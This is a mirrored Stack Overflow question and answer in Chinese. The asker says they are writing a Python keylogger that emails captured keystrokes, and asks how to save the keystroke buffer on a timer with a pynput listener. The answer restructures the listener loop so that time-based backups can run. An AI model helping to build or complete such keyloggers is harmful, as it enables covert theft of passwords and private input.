【问题标题】:How to callback from pynput.listener at regular intervals?如何定期从 pynput.listener 回调?
【发布时间】:2019-08-04 06:04:21
【问题描述】:

我正在编写一个键盘记录器,需要帮助在不停止监听器的情况下备份它。

我正在用 python 编写一个键盘记录器,它写入一个 .txt 文件,然后通过电子邮件发送。我需要定期将击键的临时列表写入文件,作为备份。但是,我似乎只能在 on_press 或 on_release 回调中执行此操作,这意味着当文件通过电子邮件发送时,我无法获取额外的击键,所以我想根据经过的时间而不是按下的键进行备份.

def on_press(key):
    global keystrokes
    keystrokes.append(key)
    if len(keystrokes)==100:
        write_send(keystrokes) #This is the function that does all my file 
                                writing and emailing, not included.

def on_release(key):
    #On_release script here, not included

while True:
    with Listener(on_press=on_press,on_release=on_release) as listener:
        listener.join()

【问题讨论】:

    标签: python


    【解决方案1】:

    代替

    while True:
        with Listener(on_press=on_press,on_release=on_release) as listener: 
             listener.join()
    

    你可以的

    with Listener(on_press=on_press,on_release=on_release) as listener: 
    
         while True:
             # ... check time and write in file ...
    
         # listener.stop()  
         listener.join()
    

    或者您可以在Listener 中使用函数start()(和stop())并将其写为:

    listener = Listener(on_press=on_press,on_release=on_release)
    listener.start()   
    
    while True:
        # ... check time and write in file ...
    
    listener.stop()   
    listener.join()
    

    【讨论】:

    • 我知道您不打算为此使用 cmets,但非常感谢您,这是完美的答案!我仍然需要了解 threading.Threads 是如何工作的,所以希望这是下一步。度过美好的一天!
    猜你喜欢
    • 2019-11-14
    • 1970-01-01
    • 1970-01-01
    • 2020-04-21
    • 1970-01-01
    • 2019-04-25
    • 1970-01-01
    • 2023-03-06
    • 1970-01-01
    相关资源
    最近更新 更多